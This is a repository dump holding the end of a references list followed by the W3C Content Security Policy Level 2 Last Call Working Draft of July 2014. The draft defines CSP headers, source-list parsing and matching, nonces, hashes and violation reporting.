Adam M. Costello. Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA). PROPOSED STANDARD. URL: http://tools.ietf.org/html/rfc3492
[RFC4627]
D. Crockford. The application/json Media Type for JavaScript Object Notation (JSON) (RFC 4627). July 2006. RFC. URL: http://www.ietf.org/rfc/rfc4627.txt
[RFC6454]
A. Barth. The Web Origin Concept. December 2011. RFC. URL: http://www.ietf.org/rfc/rfc6454.txt
[RFC7034]
David Ross; Tobias Gondrom; Thames Stanley. HTTP Header Field X-Frame-Options. INFORMATIONAL. URL: http://tools.ietf.org/html/rfc7034
[URI]
T. Berners-Lee; R. Fielding; L. Masinter. Uniform Resource Identifiers (URI): generic syntax. January 2005. RFC 3986. URL: http://www.ietf.org/rfc/rfc3986.txt
[WEBIDL]
Cameron McCormack. Web IDL. 19 April 2012. W3C Candidate Recommendation. URL: http://www.w3.org/TR/WebIDL/
[WEBWORKERS]
Ian Hickson. Web Workers. 1 May 2012. W3C Candidate Recommendation. URL: http://www.w3.org/TR/workers/
[XML11]
Tim Bray; Jean Paoli; Michael Sperberg-McQueen; Eve Maler; François Yergeau; John Cowan et al. Extensible Markup Language (XML) 1.1 (Second Edition). 16 August 2006. W3C Recommendation. URL: http://www.w3.org/TR/xml11/
[XMLHttpRequest]
Julian Aubourg; Jungkee Song; Hallvord Steen et al. XMLHttpRequest. 6 December 2012. W3C Working Draft. URL: http://www.w3.org/TR/XMLHttpRequest/
[XSLT]
James Clark. XSL Transformations (XSLT) Version 1.0. 16 November 1999. W3C Recommendation. URL: http://www.w3.org/TR/xslt
[css-fonts-3]
John Daggett. CSS Fonts Module Level 3. 3 October 2013. W3C Candidate Recommendation. URL: http://www.w3.org/TR/css-fonts-3/
[eventsource]
Ian Hickson. Server-Sent Events. 11 December 2012. W3C Candidate Recommendation. URL: http://www.w3.org/TR/eventsource/
[html-imports]
Dimitri Glazkov. HTML Imports. 14 May 2013. W3C Working Draft. URL: http://www.w3.org/TR/html-imports/
[websockets]
Ian Hickson. The WebSocket API. 20 September 2012. W3C Candidate Recommendation. URL: http://www.w3.org/TR/websockets/

A.2 Informative references

[UIREDRESS]
Giorgio Maone; David Lin-Shung Huang; Tobias Gondrom; Brad Hill. User Interface Security Directives for Content Security Policy. Working Draft. URL: https://dvcs.w3.org/hg/user-interface-safety/raw-file/tip/user-interface-safety.html
================================================ FILE: published/2014-07-03-CSP-2-LCWD.html ================================================ Content Security Policy Level 2

Content Security Policy Level 2

W3C Last Call Working Draft, 03 July 2014

Feedback:
public-webappsec@w3.org with subject line “[CSP] … message topic …”(archives)
Editor’s Draft:
https://w3c.github.io/webappsec/specs/content-security-policy/
Former Editors:
(formerly of Mozilla Corporation)
Editors:
(Google Inc.)
(Google Inc.)
(Mozilla Corporation)
Latest version:
http://www.w3c.org/TR/CSP/
This version:
http://www.w3.org/TR/2014/WD-CSP-2-20140703/

Abstract

This document defines a policy language used to declare a set of content restrictions for a web resource, and a mechanism for transmitting the policy from a server to a client where the policy is enforced.

Status of this document

This section describes the status of this document at the time of its publication. Other documents may supersede this document. A list of current W3C publications and the latest revision of this technical report can be found in the W3C technical reports index at http://www.w3.org/TR/.

This document was published by the Web Application Security Working Group as a Working Draft. This document is intended to become a W3C Recommendation.

The (archived) public mailing list public-webappsec@w3.org (see instructions) is preferred for discussion of this specification. When sending e-mail, please put the text “CSP” in the subject, preferably like this: “[CSP] …summary of comment…

Publication as a Last Call Working Draft does not imply endorsement by the W3C Membership. This is a draft document and may be updated, replaced or obsoleted by other documents at any time. It is inappropriate to cite this document as other than work in progress.

This document was produced by the Web Application Security Working Group.

This document was produced by a group operating under the 5 February 2004 W3C Patent Policy. W3C maintains a public list of any patent disclosures made in connection with the deliverables of the group; that page also includes instructions for disclosing a patent. An individual who has actual knowledge of a patent which the individual believes contains Essential Claim(s) must disclose the information in accordance with section 6 of the W3C Patent Policy.

This specification is a Last Call Working Draft. All persons are encouraged to review this document and send comments to the public-webappsec mailing list as described above. The deadline for comments is 13 August 2014.

The following features are at-risk, and may be dropped during the CR period:

Table of Contents

1 Introduction

This section is not normative.

This document defines Content Security Policy, a mechanism web applications can use to mitigate a broad class of content injection vulnerabilities, such as cross-site scripting (XSS). Content Security Policy is a declarative policy that lets the authors (or server administrators) of a web application inform the client about the sources from which the application expects to load resources.

To mitigate XSS attacks, for example, a web application can declare that it only expects to load script from specific, trusted sources. This declaration allows the client to detect and block malicious scripts injected into the application by an attacker.

Content Security Policy (CSP) is not intended as a first line of defense against content injection vulnerabilities. Instead, CSP is best used as defense-in-depth, to reduce the harm caused by content injection attacks. As a first line of defense against content injection, server operators should validate their input and encode their output.

There is often a non-trivial amount of work required to apply CSP to an existing web application. To reap the greatest benefit, authors will need to move all inline script and style out-of-line, for example into external scripts, because the user agent cannot determine whether an inline script was injected by an attacker.

To take advantage of CSP, a web application opts into using CSP by supplying a Content-Security-Policy HTTP header. Such policies apply to the current resource representation only. To supply a policy for an entire site, the server needs to supply a policy with each resource representation.

2 Key Concepts and Terminology

This section defines several terms used throughout the document.

The term security policy refers to either:

  1. a set of security preferences for restrictions within which the content can operate, or
  2. a fragment of text that codifies these preferences.

The security policies defined by this document are applied by a user agent on a per-resource representation basis. Specifically, when a user agent receives a policy along with the representation of a given resource, that policy applies to that resource representation only. This document often refers to that resource representation as the protected resource.

A security policy directive is a portion of a policy that declares the specific set of restrictions for a particular resource type, or which manipulates a specific aspect of a protected resource’s configuration. A server transmits its security policy for a particular protected resource as a collection of directives, such as default-src 'self', each of which declares a specific set of restrictions for that resource as instantiated by the user agent. More details are provided in the §7 Directives section.

A directive consists of a directive name, which indicates the privileges controlled by the directive, and a directive value, which specifies the restrictions the policy imposes on those privileges.

The term origin is defined in the Origin specification. [RFC6454]

The term globally unique identifier is defined in section 4 of the Origin specification. Note that URLs that do not use hierarchical elements as naming authorities have origins which are globally unique identifiers. [RFC6454]

The term URI is defined in the URI specification. [URI]

The term resource representation is defined Section 3 of HTTP/1.1 -- Semantics and Content [RFC7231]

The terms JSON object and JSON stringification are defined in the JSON specification. [RFC4627]

The applet, audio, embed, iframe, img, link, object, script, source, track, and video elements are defined in the HTML5 specification. [HTML5]

The terms auxiliary browsing contexts, opener browsing context, and nested browsing contexts are defined in the HTML5 specification. [HTML5]

A plugin is defined in the HTML5 specification. [HTML5]

The <@font-face> Cascading Style Sheets (CSS) rule is defined in the CSS Fonts Module Level 3 specification. [CSS3-FONTS]

The XMLHttpRequest object is defined in the XMLHttpRequest specification. [XMLHTTPREQUEST]

The WebSocket object is defined in the WebSocket specification. [WEBSOCKETS]

The EventSource object is defined in the EventSource specification. [EVENTSOURCE]

The Augmented Backus-Naur Form (ABNF) notation used in this document is specified in RFC5234. [ABNF]

This document also uses the ABNF extension "#rule" as defined in Section 7 of HTTP/1.1 -- Message Syntax and Routing. [RFC7230]

The following core rules are included by reference, as defined in Appendix B.1 of [ABNF]: ALPHA (letters), DIGIT (decimal 0-9), WSP (white space) and VCHAR (printing characters).

SHA-256, SHA-384, and SHA-512 are the digest algorithms defined by the NIST.

The runs a worker algorithm is defined in the Web Workers spec. [WORKERS]

The term callable refers to an object whose interface has one or more callers as defined in the Web IDL specification [WEBIDL].

An HTTP 200 response is defined in Section 6.3.1 of HTTP/1.1 -- Semantics and Content [RFC7231]

3 Policy Delivery

The server delivers the policy to the user agent via an HTTP response header or an HTML meta element. Servers are informed that requests are subject to a policy via an HTTP request header.

3.1 Content-Security-Policy Header Field

The Content-Security-Policy header field is the preferred mechanism for delivering a policy.

"Content-Security-Policy:" 1#policy-token

For example:

Content-Security-Policy: script-src 'self'

A server MAY send more than one HTTP header field named Content-Security-Policy with a given resource representation.

A server MAY send different Content-Security-Policy header field values with different representations of the same resource or with different resources.

Upon receiving an HTTP response containing at least one Content-Security-Policy header field, the user agent MUST enforce each of the policies contained in each such header field.

3.2 Content-Security-Policy-Report-Only Header Field

The Content-Security-Policy-Report-Only header field lets servers experiment with policies by monitoring (rather than enforcing) a policy.

"Content-Security-Policy-Report-Only:" 1#policy-token

For example, server operators might wish to develop their security policy iteratively. The operators can deploy a report-only policy based on their best estimate of how their site behaves:

Content-Security-Policy-Report-Only: script-src 'self'; report-uri /csp-report-endpoint/

If their site violates this policy the user agent will send violation reports to the URI specified in the policy’s report-uri directive, but allow the violating resources to load regardless. Once a site has confidence that the policy is appropriate, they can start enforcing the policy using the Content-Security-Policy header field.

A server MAY send more than one HTTP header field named Content-Security-Policy-Report-Only with a given resource representation.

A server MAY send different Content-Security-Policy-Report-Only header field values with different representations of the same resource or with different resources.

Upon receiving an HTTP response containing at least one Content-Security-Policy-Report-Only header field, the user agent MUST monitor each of the policies contained in each such header field.

Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element.

3.3 HTML meta Element

The server MAY supply a policy in an HTML meta element with an http-equiv attribute that is a case insensitive match for the string "Content-Security-Policy". For example:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
Add the following entry to the pragma directives for the meta element:
Content security policy (http-equiv="content-security-policy")
  1. If the Document’s head element is not an ancestor of the meta element, abort these steps.
  2. If the meta element lacks a content attribute, abort these steps.
  3. Let policy be the value of the content attribute of the meta element.
  4. Let directive-set be the result of parsing policy.
  5. Remove all occurrences of reflected-xss, report-uri, and sandbox directives from directive-set.
  6. Enforce each of the directives in directive-set, as defined for each directive type.

Authors are strongly encouraged to place the meta element as early in the document as possible to reduce the risk of content injection before a protective policy can be read and enforced.

Note: A policy specified via a meta element will be enforced along with any other policies active for the protected resource, regardless of where they’re specified. The general mechanism for determining the effect of enforcing multiple policies is detailed in the §3.5 Enforcing multiple policies. section.

Note: Modifications to the content attribute of a meta element after the element has been parsed will be ignored.

Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element.

3.4 The CH-CSP Client Hint

The CH-CSP header field indicates that a particular request is subject to a policy, and its value is defined by the following ABNF grammar:

"CH-CSP:" 1#hint-value

hint-value = *WSP "active"

If the user agent is monitoring or enforcing a policy that includes directives whose value is a source list, and whose source list contains the 'unsafe-redirect' source expression, then the user agent MUST send a header field named CH-CSP along with requests for resources whose origin does not match the protected resource’s origin. The value of this header MUST be active.

The user agent MAY choose to send this header only if the request is for a resource type which the active policy would effect. That is, given a policy of img-src example.com 'unsafe-redirect', the user agent would send CH-CSP: active along with requests for images, but might choose not to send the header with requests for script.

Note: The central reason for including this header is that it hints to a server that information about redirects might be leaked as a side-effect of a page’s active policy. If this header is present, a server might decline to redirect a logged-out user from example.com to accounts.example.com, for example, as a malicious embedder might otherwise be able to determine the user’s logged-in status.

3.5 Enforcing multiple policies.

This section is not normative.

The above sections note that when multiple policies are present, each must be enforced or reported, according to its type. An example will help clarify how that ought to work in practice. The behavior of an XMLHttpRequest might seem unclear given a site that, for whatever reason, delivered the following HTTP headers:

Content-Security-Policy: default-src 'self' http://example.com http://example.net;
                         connect-src 'none';
Content-Security-Policy: connect-src http://example.com/;
                         script-src http://example.com/

Is a connection to example.com allowed or not? The short answer is that the connection is not allowed. Enforcing both policies means that a potential connection would have to pass through both unscathed. Even though the second policy would allow this connection, the first policy contains connect-src 'none', so its enforcement blocks the connection. The impact is that adding additional policies to the list of policies to enforce can only further restrict the capabilities of the protected resource.

To demonstrate that further, consider a script tag on this page. The first policy would lock scripts down to 'self', http://example.com and http://example.net via the default-src directive. The second, however, would only allow script from http://example.com/. Script will only load if it meets both policy’s criteria: in this case, the only origin that can match is http://example.com, as both policies allow it.

3.6 Policy applicability

This section is not normative.

Policies are associated with an protected resource, and enforced or monitored for for that resource. If a resource does not create a new execution context (for example, when including a script, image, or stylesheet into a document), then any policies delivered with that resource are discarded without effect. Its execution is subject to the policy or policies of the including context. The following table outlines examples of these relationships:

Resource Type What policy applies?
Top-level Contexts HTML as a new, top-level browsing context The policy delivered with the resource
SVG, as a top-level document Policy delivered with the resource
Embedded Contexts Any resource included via iframe, object, or embed The policy of the embedding resource controls what may be embedded. The embedded resource, however, is controlled by the policy delivered with the resource, or the policy of the embedding resource if the embedded resource is a globally unique identifier (or a srcdoc frame).
SVG, as an embedded document The policy delivered with the resource, or policy of the creating context if created from a globally unique identifier.
JavaScript, as a Worker, Shared Worker or Service Worker The policy delivered with the resource, or policy of the creating context if created from a globally unique identifier
Subresources SVG, inlined via svg Policy of the including context
SVG, as a resource document Policy of the including context
HTML via XMLHttpRequest Policy of the context that performed the fetch
Image via img element Policy of the including context
JavaScript via a script element Policy of the including context
SVG, via img No policy; should be just as safe as JPG
SVG, as a WebFont No policy; should be just as safe as WOFF

4 Syntax and Algorithms

4.1 Policy Syntax

A Content Security Policy consists of a U+003B SEMICOLON (;) delimited list of directives. Each directive consists of a directive name and (optionally) a directive value, defined by the following ABNF:

policy-token    = [ directive-token *( ";" [ directive-token ] ) ]
directive-token = *WSP [ directive-name [ WSP directive-value ] ]
directive-name  = 1*( ALPHA / DIGIT / "-" )
directive-value = *( WSP / <VCHAR except ";" and ","> )

4.1.1 Parsing Policies

To parse the policy policy, the user agent MUST use an algorithm equivalent to the following:

  1. Let the set of directives be the empty set.
  2. For each non-empty token returned by strictly splitting the string policy on the character U+003B SEMICOLON (;):
    1. Skip whitespace.
    2. Collect a sequence of characters that are not space characters. The collected characters are the directive name.
    3. If there are characters remaining in token, skip ahead exactly one character (which must be a space character).
    4. The remaining characters in token (if any) are the directive value.
    5. If the set of directives already contains a directive whose name is a case insensitive match for directive name, ignore this instance of the directive and continue to the next token.
    6. Add a directive to the set of directives with name directive name and value directive value.
  3. Return the set of directives.

4.2 Source List Syntax

Many CSP directives use a value consisting of a source list, defined in the ABNF grammar below.

Each source expression in the source list represents a location from which content of the specified type can be retrieved. For example, the source expression 'none' represents the empty set of URIs, and the source expression 'unsafe-inline' represents content supplied inline in the resource itself.

source-list       = *WSP [ source-expression *( 1*WSP source-expression ) *WSP ]
                  / *WSP "'none'" *WSP
source-expression = scheme-source / host-source / keyword-source / nonce-source / hash-source
scheme-source     = scheme-part ":"
host-source       = [ scheme-part "://" ] host-part [ port-part ] [ path-part ]
keyword-source    = "'self'" / "'unsafe-inline'" / "'unsafe-eval'" / "'unsafe-redirect'"
base64-value      = 1*( ALPHA / DIGIT / "+" / "/" )*2( "=" )
nonce-value       = base64-value
hash-value        = base64-value
nonce-source      = "'nonce-" nonce-value "'"
hash-algo         = "sha256" / "sha384" / "sha512"
hash-source       = "'" hash-algo "-" base64-value "'"
scheme-part       = <scheme production from RFC 3986, section 3.1>
host-part         = "*" / [ "*." ] 1*host-char *( "." 1*host-char )
host-char         = ALPHA / DIGIT / "-"
path-part         = <path production from RFC 3986, section 3.3>
port-part         = ":" ( 1*DIGIT / "*" )

If the policy contains a nonce-source expression, the server MUST generate a fresh value for the nonce-value directive at random and independently each time it transmits a policy. This requirement ensures that the nonce-value is difficult for an attacker to predict.

The host-char production intentionally contains only ASCII characters; internationalized domain names cannot be entered directly into a policy string, but instead MUST be Punycode-encoded [RFC3492]. For example, the domain üüüüüü.de would be encoded as xn--tdaaaaaa.de.

4.2.1 Parsing Source Lists

To parse a source list source list, the user agent MUST use an algorithm equivalent to the following:

  1. Strip leading and trailing whitespace from source list.
  2. If source list is a case insensitive match for the string 'none' (including the quotation marks), return the empty set.
  3. Let set of source expressions be the empty set.
  4. For each token returned by splitting source list on spaces, if the token matches the grammar for source-expression, add the token to the set of source expressions.
  5. Return the set of source expressions.

Note: Characters like U+003B SEMICOLON (;) and U+002C COMMA (,) cannot appear in source expressions directly: if you’d like to include these characters in a source expression, they must be percent encoded as %3B and %2C respectively.

4.2.2 Matching Source Expressions

A URI is said to match a source expression if the following algorithm returns does match:

  1. Normalize the URI according to Section 6 of RFC3986.
  2. If the source expression a consists of a single U+002A ASTERISK character (*), and the URI’s scheme is not of a type designating a globally unique identifier, (such as blob:, data:, or filesystem:) then return does match.
  3. If the source expression matches the grammar for scheme-source:
    1. If the URI’s scheme is a case-insensitive match for the source expression’s scheme-part, return does match.
    2. Otherwise, return does not match.
  4. If the source expression matches the grammar for host-source:
    1. If the URI does not contain a host, then return does not match.
    2. Let uri-scheme, uri-host, and uri-port be the scheme, host, and port of the URI, respectively. If the URI does not have a port, then let uri-port be the default port for uri-scheme. Let uri-path be the path of the URI after decoding percent-encoded characters. If the URI does not have a path, then let uri-path be the U+002F SOLIDUS character (/).
    3. If the source expression has a scheme-part that is not a case insensitive match for uri-scheme, then return does not match.
    4. If the source expression does not have a scheme, return does not match if
      1. the scheme of the protected resource’s URI is a case insensitive match for HTTP, and uri-scheme is not a case insensitive match for either HTTP or HTTPS
      2. the scheme of the protected resource’s URI is not a case insensitive match for HTTP, and uri-scheme is not a case insensitive match for the scheme of the protected resource’s URI.
    5. If the first character of the source expression’s host-part is an U+002A ASTERISK character (*) and the remaining characters, including the leading U+002E FULL STOP character (.), are not a case insensitive match for the rightmost characters of uri-host, then return does not match.
    6. If the first character of the source expression’s host-part is not an U+002A ASTERISK character (*) and uri-host is not a case insensitive match for the source expression’s host-part, then return does not match.
    7. If the source expression does not contain a port-part and uri-port is not the default port for uri-scheme, then return does not match.
    8. If the source expression does contain a port-part, then return does not match if
      1. port-part does not contain an U+002A ASTERISK character (*), and
      2. port-part does not represent the same number as uri-port.
    9. If the source expression contains a non-empty path-part, and the URI is not the result of a redirect, then:
      1. Let decoded-path be the result of decoding path-part’s percent-encoded characters.
      2. If the final character of decoded-path is the U+002F SOLIDUS character (/), and decoded-path is not a prefix of uri-path, then return does not match.
      3. If the final character of decoded-path is not the the U+002F SOLIDUS character (/), and decoded-path is not an exact match for uri-path then return does not match.
    10. Otherwise, return does match.
  5. If the source expression is a case insensitive match for 'self' (including the quotation marks), then:
    1. Return does match if the URI has the same scheme, host, and port as the protected resource’s URI (using the default port for the appropriate scheme if either or both URIs are missing ports).
  6. Otherwise, return does not match.

A URI is said to match a source list if the following conditions are met:

  1. The URI matches at least one source expression in the set of source expressions obtained by parsing the source list.
  2. At least one of the following is true:
    1. The URI is one of not the result of a redirect.
    2. The set of source expressions obtained by parsing the source list contains the source expression 'unsafe-redirect'.
    3. The source list is the U+002A ASTERISK character (*).

Note: No URIs match an empty set of source expressions, such as the set obtained by parsing the source list 'none'.

4.2.2.1 Security Considerations for GUID URI schemes

This section is not normative.

As defined above, special URI schemes that refer to specific pieces of unique content, such as "data:", "blob:" and "filesystem:" are excluded from matching a policy of * and must be explicitly listed. Policy authors should note that the content of such URIs is often derived from a response body or execution in a Document context, which may be unsafe. Especially for the default-src and script-src directives, policy authors should be aware that allowing "data:" URIs is equivalent to unsafe-inline and allowing "blob:" or "filesystem:" URIs is equivalent to unsafe-eval.

4.2.2.2 Path Matching

This section is not normative.

The rules for matching source expressions that contain paths are simpler than they look: paths that end with the '/' character match all files in a directory and its subdirectories. Paths that do not end with the '/' character match only one specific file. A few examples should make this clear:

  1. The source expression example.com has no path, and therefore matches any file served from that host.
  2. The source expression example.com/scripts/ matches any file in the scripts directory of example.com, and any of its subdirectories. For example, both https://example.com/scripts/file.js and https://example.com/scripts/js/file.js would match.
  3. The source expression example.com/scripts/file.js matches only the file named file.js in the scripts directory of example.com.
  4. Likewise, the source expression example.com/js matches only the file named js. In particular, note that it would not match files inside a directory named js. Files like example.com/js/file.js would be matched only if the source expression ended with a trailing "/", as in example.com/js/.

Note: Query strings have no impact on matching: the source expression example.com/file?key=value matches all of https://example.com/file, https://example.com/file?key=value, https://example.com/file?key=notvalue, and https://example.com/file?notkey=notvalue.

4.2.2.3 Paths and Redirects

To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil, the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com not-example.com/path:

  • Directly loading https://not-example.com/not-path would fail, as it doesn’t match the policy.
  • Directly loading https://example.com/redirector would pass, as it matches example.com.
  • Assuming that https://example.com/redirector delivered a redirect response pointing to https://not-example.com/not-path, the load would succeed, as the initial URL matches example.com, and the redirect target matches not-example.com/path if we ignore its path component.

This restriction reduces the granularity of a document’s policy when redirects are in play, which isn’t wonderful, but given that we certainly don’t want to allow brute-forcing paths after redirects, it seems a reasonable compromise.

The relatively long thread "Remove paths from CSP?" from public-webappsec@w3.org has more detailed discussion around alternate proposals.

4.2.3 The nonce attribute

Nonce sources require a new attribute to be added to both script and style elements: nonce.

partial interface HTMLScriptElement {
  attribute DOMString nonce;
};
nonce
This attribute reflects the value of the element’s nonce content attribute.
partial interface HTMLStyleElement {
  attribute DOMString nonce;
};
nonce
This attribute reflects the value of the element’s nonce content attribute.

4.2.4 Valid Nonces

An element has a valid nonce for a set of source expressions if the value of the element’s nonce attribute after stripping leading and trailing whitespace is a case-sensitive match for the nonce-value component of at least one nonce-source expression in set of source expressions.

4.2.5 Valid Hashes

An element’s content is the script block’s source for script elements, or the value of the element’s textContent IDL attribute for non-script elements such as style.

The digest of element’s content for is the result of applying an algorithm to the element’s content.

To determine whether element has a valid hash for a set of source expressions, execute the following steps:

  1. Let hashes be a list of all hash-source expressions in set of source expressions.
  2. For each hash in hashes:
    1. Let algorithm be:
      • SHA-256 if the hash-algo component of hash is a case-insensitive match for the string "sha256"
      • SHA-384 if the hash-algo component of hash is a case-insensitive match for the string "sha384"
      • SHA-512 if the hash-algo component of hash is a case-insensitive match for the string "sha512"
    2. Let expected be the hash-value component of hash.
    3. Let actual be the base64 encoding of the binary digest of element’s content using the algorithm algorithm.
    4. If actual is a case-sensitive match for expected, return true and abort these steps.
  3. Return false.

Note: If an element has an invalid hash, it would be helpful if the user agent reported the failure to the author by adding a warning message containing the actual hash value.

4.3 Media Type List

The plugin-types directive uses a value consisting of a media type list.

Each media type in the media type list represents a specific type of resource that can be retrieved and used to instantiate a plugin in the protected resource.

media-type-list   = media-type *( 1*WSP media-type )
media-type        = <type from RFC 2045> "/" <subtype from RFC 2045>

4.3.1 Parsing

To parse a media type list media type list, the user agent MUST use an algorithm equivalent to the following:

  1. Let the set of media types be the empty set.
  2. For each token returned by splitting media type list on spaces, if the token matches the grammar for media-type, add the token to the set of media types. Otherwise ignore the token.
  3. Return the set of media types.

4.3.2 Matching

A media type matches a media type list if, and only if, the media type is a case-insensitive match for at least one token in the set of media types obtained by parsing the media type list.

4.4 Reporting

To strip uri for reporting, the user agent MUST use an algorithm equivalent to the following:

  1. If the origin of uri is a globally unique identifier (for example, uri has a scheme of data, blob, or filesystem), then abort these steps, and return the ASCII serialization of uri’s scheme.
  2. If the origin of uri is not the same as the origin of the protected resource, then abort these steps, and return the ASCII serialization of uri’s origin.
  3. Return uri, with any fragment component removed.

To generate a violation report object, the user agent MUST use an algorithm equivalent to the following:

  1. Prepare a JSON object violation with the following keys and values:
    blocked-uri
    The originally requested URI of the resource that was prevented from loading, stripped for reporting, or the empty string if the resource has no URI (inline script and inline style, for example).
    document-uri
    The address of the protected resource, stripped for reporting.
    effective-directive
    The name of the policy directive that was violated. This will contain the directive whose enforcement triggered the violation (e.g. "script-src") even if that directive does not explicitly appear in the policy, but is implicitly activated via the default-src directive.
    original-policy
    The original policy, as received by the user agent.
    referrer
    The referrer attribute of the protected resource, or the empty string if the protected resource has no referrer.
    status-code
    The status-code of the HTTP response that contained the protected resource, if the protected resource was obtained over HTTP. Otherwise, the number 0.
    violated-directive
    The policy directive that was violated, as it appears in the policy. This will contain the default-src directive in the case of violations caused by falling back to the default sources when enforcing a directive.
  2. If a specific line or a specific file can be identified as the cause of the violation (for example, script execution that violates the script-src directive), the user agent MAY add the following keys and values to violation:
    source-file
    The URI of the resource where the violation occurred, stripped for reporting.
    line-number
    The line number in source-file on which the violation occurred.
    column-number
    The column number in source-file on which the violation occurred.
  3. Return violation.

Note: blocked-uri will not contain the final location of a resource that was blocked after one or more redirects. It instead will contain only the location that the protected resource requested, before any redirects were followed.

To send violation reports, the user agent MUST use an algorithm equivalent to the following:

  1. Prepare a JSON object report object with a single key, csp-report, whose value is the result of generating a violation report object.
  2. Let report body be the JSON stringification of report object.
  3. For each report URI in the set of report URIs:
    1. If the user agent has already sent a violation report for the protected resource to report URI, and that report contained an entity body that exactly matches report body, the user agent MAY abort these steps and continue to the next report URI.
    2. Queue a task to fetch report URI from the origin of the protected resource, with the synchronous flag not set, using HTTP method POST, with a Content-Type header field of application/csp-report, and an entity body consisting of report body. If the origin of report URI is not the same as the origin of the protected resource, the block cookies flag MUST also be set. The user agent MUST NOT follow redirects when fetching this resource. (Note: The user agent ignores the fetched resource.) The task source for these tasks is the Content Security Policy task source.

To report a violation, the user agent MUST:

  1. Fire a violation event at the protected resource’s Document.
  2. If the set of report URIs is non-empty, send violation reports to each.

Note: This section of the specification should not be interpreted as limiting user agents' ability to apply restrictions to violation reports in order to limit data leakage above and beyond what these algorithms specify.

5 Processing Model

To enforce a policy, the user agent MUST parse the policy and enforce each of the directives contained in the policy, where the specific requirements for enforcing each directive are defined separately for each directive (See §7 Directives, below).

Generally speaking, enforcing a directive prevents the protected resource from performing certain actions, such as loading scripts from URIs other than those indicated in a source list. These restrictions make it more difficult for an attacker to abuse an injection vulnerability in the resource because the attacker will be unable to usurp the resource’s privileges that have been restricted in this way.

Note: User agents may allow users to modify or bypass policy enforcement through user preferences, bookmarklets, third-party additions to the user agent, and other such mechanisms.

To monitor a policy, the user agent MUST parse the policy and monitor each of the directives contained in the policy.

Monitoring a directive does not prevent the protected resource from undertaking any actions. Instead, any actions that would have been prevented by the directives are allowed, but a violation report is generated and reported to the developer of the web application. Monitoring a policy is useful for testing whether enforcing the policy will cause the web application to malfunction.

A server MAY cause user agents to monitor one policy while enforcing another policy by returning both Content-Security-Policy and Content-Security-Policy-Report-Only header fields. For example, if a server operator may wish to enforce one policy but experiment with a stricter policy, she can monitor the stricter policy while enforcing the original policy. Once the server operator is satisfied that the stricter policy does not break the web application, the server operator can start enforcing the stricter policy.

If the user agent monitors or enforces a policy that does not contain any directives, the user agent SHOULD report a warning message in the developer console.

If the user agent monitors or enforces a policy that contains an unrecognized directive, the user agent SHOULD report a warning message in the developer console indicating the name of the unrecognized directive.

If the user agent monitors or enforces a policy that contains a directive that contains a source list, then the user agent MUST set a CH-CSP Client Hint when requesting cross-origin resources, as described in the §3.4 The CH-CSP Client Hint section.

5.1 Workers

Whenever a user agent runs a worker:

  • If the worker’s script’s origin is a globally unique identifier (for example, the worker’s script’s URL has a scheme of data, blob, or filesystem), then:
    • If the user agent is enforcing a CSP policy for the owner document, the user agent MUST enforce the CSP policy for the worker.
    • If the user agent is monitoring a CSP policy for the owner document, the user agent MUST monitor the CSP policy for the worker.
  • Otherwise:
    • If the worker’s script is delivered with a Content-Security-Policy HTTP header containing the value policy, the user agent MUST enforce policy for the worker.
    • If the worker’s script is delivered with a Content-Security-Policy-Report-Only HTTP header containing the value policy, the user agent MUST monitor policy for the worker.

5.2 srcdoc IFrames

Whenever a user agent creates an an iframe srcdoc document in a browsing context nested in the protected resource, if the user agent is enforcing any policies for the protected resource, the user agent MUST enforce those policies on the iframe srcdoc document as well.

Whenever a user agent creates a an iframe srcdoc document in a browsing context nested in the protected resource, if the user agent is monitoring any policies for the protected resource, the user agent MUST monitor those policies on the iframe srcdoc document as well.

6 Script Interfaces

6.1 SecurityPolicyViolationEvent Interface

[Constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict)]
interface SecurityPolicyViolationEvent : Event {
    readonly    attribute DOMString documentURI;
    readonly    attribute DOMString referrer;
    readonly    attribute DOMString blockedURI;
    readonly    attribute DOMString violatedDirective;
    readonly    attribute DOMString effectiveDirective;
    readonly    attribute DOMString originalPolicy;
    readonly    attribute DOMString sourceFile;
    readonly    attribute long      lineNumber;
    readonly    attribute long      columnNumber;
};
documentURI
Refer to the document-uri property of violation reports for a description of this property.
referrer
Refer to the referrer property of violation reports for a description of this property.
blockedURI
Refer to the blocked-uri property of violation reports for a description of this property.
violatedDirective
Refer to the violated-directive property of violation reports for a description of this property.
effectiveDirective
Refer to the effective-directive property of violation reports for a description of this property.
originalPolicy
Refer to the original-policy property of violation reports for a description of this property.
sourceFile
Refer to the source-file property of violation reports for a description of this property.
lineNumber
Refer to the line-number property of violation reports for a description of this property.
columnNumber
Refer to the column-number property of violation reports for a description of this property.

6.2 SecurityPolicyViolationEventInit Interface

dictionary SecurityPolicyViolationEventInit : EventInit {
    DOMString documentURI;
    DOMString referrer;
    DOMString blockedURI;
    DOMString violatedDirective;
    DOMString effectiveDirective;
    DOMString originalPolicy;
    DOMString sourceFile;
    long      lineNumber;
    long      columnNumber;
};
documentURI
Refer to the document-uri property of violation reports for a description of this property.
referrer
Refer to the referrer property of violation reports for a description of this property.
blockedURI
Refer to the blocked-uri property of violation reports for a description of this property.
violatedDirective
Refer to the violated-directive property of violation reports for a description of this property.
effectiveDirective
Refer to the effective-directive property of violation reports for a description of this property.
originalPolicy
Refer to the original-policy property of violation reports for a description of this property.
sourceFile
Refer to the source-file property of violation reports for a description of this property.
lineNumber
Refer to the line-number property of violation reports for a description of this property.
columnNumber
Refer to the column-number property of violation reports for a description of this property.

6.3 Firing Violation Events

To fire a violation event, the user agent MUST use an algorithm equivalent to the following:

  1. Let report object be the result of generating a violation report object.
  2. Queue a task to fire an event named securitypolicyviolation using the SecurityPolicyViolationEvent interface with the following initializations:
    • blockedURI MUST be initialized to the value of report object’s blocked-uri key.
    • documentURI MUST be initialized to the value of report object’s document-uri key.
    • effectiveDirective MUST be initialized to the value of report object’s effective-directive key.
    • originalPolicy MUST be initialized to the value of report object’s original-policy key.
    • referrer MUST be initialized to the value of report object’s referrer key.
    • violatedDirective MUST be initialized to the value of report object’s violated-directive key.
    • sourceFile MUST be initialized to the value of report object’s source-file key.
    • lineNumber MUST be initialized to the value of report object’s line-number key.
    • columnNumber MUST be initialized to the value of report object’s column-number key.

